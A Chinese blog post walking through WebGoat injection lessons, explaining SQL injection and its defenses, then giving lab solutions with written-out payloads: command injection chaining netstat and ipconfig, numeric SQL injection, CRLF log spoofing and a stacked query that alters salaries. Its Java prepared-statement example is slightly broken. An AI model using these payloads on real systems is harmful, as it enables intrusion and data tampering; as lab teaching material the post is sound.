专栏首页信安之路webgoat-Injection

webgoat-Injection

注入攻击是WEB安全领域中一种最为常见的攻击方式。在“跨站脚本攻击”一章中曾经提到过,XSS本质上也是一种针对HTML的注入攻击。而在“我的安全世界观”一章中,提出一个安全设计原则----“数据与代码分离”的原则,它可以说是专门为了解决注入攻击而生的。

注入攻击的本质,是把用户输入的数据当做代码来执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。

SQL注入的类型:数字型、字符型

  • 数字型:数字型的注入通常需要做类型转换,强类型的语言对数字型注入具有天然的免疫力。
  • 字符型:拼接SQL。制造闭合SQL语句,注释掉无用部分。 防御SQL注入的方法:
  • 数据类型转换时的类型检查
  • 特殊字符转义(ESAPI)
  • 使用安全函数(http://lib.csdn.net/base/java)中使用预编译,参数化查询条件
  • 使用安全的存储过程
String username = request.getParameter("username");        //获取请求中的变量username的值  
String sql = "SELECT id,username,itemsCon FROM items WHERE id = ? ";        //使用预编译的SQL语句  
PreparedStatement ps = connection.preparedStatement("sql");        //数据库连接创建带有预编译SQL语句的PreparedStatement对象  
ps.setString(1,id);        //参数绑定  
ResultSet rs = ps.executeQuery();        //创建SQL执行的结果集

Webgoat

Command Injection

任意选择一个文件,点击view,页面会提示

ExecResults for 'cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html"'

抓取请求,将HelpFile字段修改为

AccessControlMatrix.help"%20%26%20netstat%20-an%20%26%20ipconfig

注意要使用urlencoder

“ & netstat -an & ipconfig

先用”将前面的命令闭合,最终执行的命令就是:

cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html" & netstat -an & ipconfig

得到如下结果,命令已被执行

Num Injection

在 station 字段中注入特征字符,能组合成新的 SQL 语句。例子:

SELECT * FROM weather_data WHERE station = 12 and 1=2;

Log Spoofing

这种攻击基于在日志文件上欺骗人类的眼睛,攻击者可以很容易地擦除攻击日志。

目标:灰色区域代表Web服务器日志上需要录入的信息;使它看上去像是admin用户成功登录的样子;通过增加脚本提升攻击。

Smith%0d%0aLogin Succeeded for username: admin

String Injection

Modify Data with SQL Injection

表单允许用户通过userid查询自己的工资,这个表单存在SQL注入漏洞。数据表“salaries”。 命令格式:

UPDATE table SET column=value WHERE column=value;

分析:需要更新表 salaries,设置 salary 栏的值。使用如下命令:

UPDATE salaries SET salary=999999 WHERE userid='jsmith'

同时也需要结束前一个查询并且打开前一个引号 使指令有效。 综上于是空白处输入以下指令,点击Go:

whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith

本文分享自微信公众号 - 信安之路(xazlsec),作者:断弦

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-08-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 近期关于代码审计的学习总结

    这一小段时间对一些 CMS 进行代码审计,和一些 CVE 分析复现。总结一下几个案例的问题产生原因和利用思路。由于能力有限,挖掘到的都并非高危漏洞,旨在总结一下...

    信安之路
  • 轻松理解什么是 SQL 注入

    作为长期占据 OWASP Top 10 首位的注入,OWASP 对于注入的解释如下:

    信安之路
  • 代码审计之 zzzphp

    想想很久都没有发布代码审计的文章了,最近忙于开发任务加上最近状态不太好,哎研发dog。

    信安之路
  • 轻松理解什么是 SQL 注入

    作为长期占据 OWASP Top 10 首位的注入,OWASP 对于注入的解释如下:

    信安之路
  • 探索ASH 第一篇

    老是在用ASH,对它的依赖感觉已经大于AWR,昨天心血来潮,想看看ash视图里面是怎么样的,过程也算曲折,不过也算抛砖引玉。 先看看v$active_sessi...

    jeanron100
  • 第二课 如何实现以太坊最简智能合约“Hello World”的运行

    如果你对于以太坊智能合约开发还没有概念(本文会假设你已经知道这些概念),建议先阅读入门篇。 就先学习任何编程语言一样,入门的第一个程序都是Hello World...

    辉哥
  • SQL SERVER 锁升级的 investigation 与 别吃黄连

    前些日子在分析SQL SERVER 死锁的过程中,检查有一些莫名其妙的死锁,两个根本不搭噶的事务,锁在了一起,WHY,其实SQL SERVER 在数据库界,算是...

    AustinDatabases
  • 工作流引擎之activiti任务监听器

    任务监听器只能添加到流程定义中的用户任务中。 注意它必须定义在BPMN 2.0 extensionElements的子元素中, 并使用activiti命名空间,...

    lyb-geek
  • 各类数据库问题描述模板

    为了更精准更有效的解决实际项目中遇到的问题,以后所有问题请按照对应问题分类的模板格式来提交问题。

    Alfred Zhao
  • Objective-C 中如何测量代码的效率背景

    因此,我们不可避免的要用到一些方法来计算代码的执行效率。计算代码的执行效率可以使用的API有:

    Haley_Wong

扫码关注云+社区

领取腾讯云代金券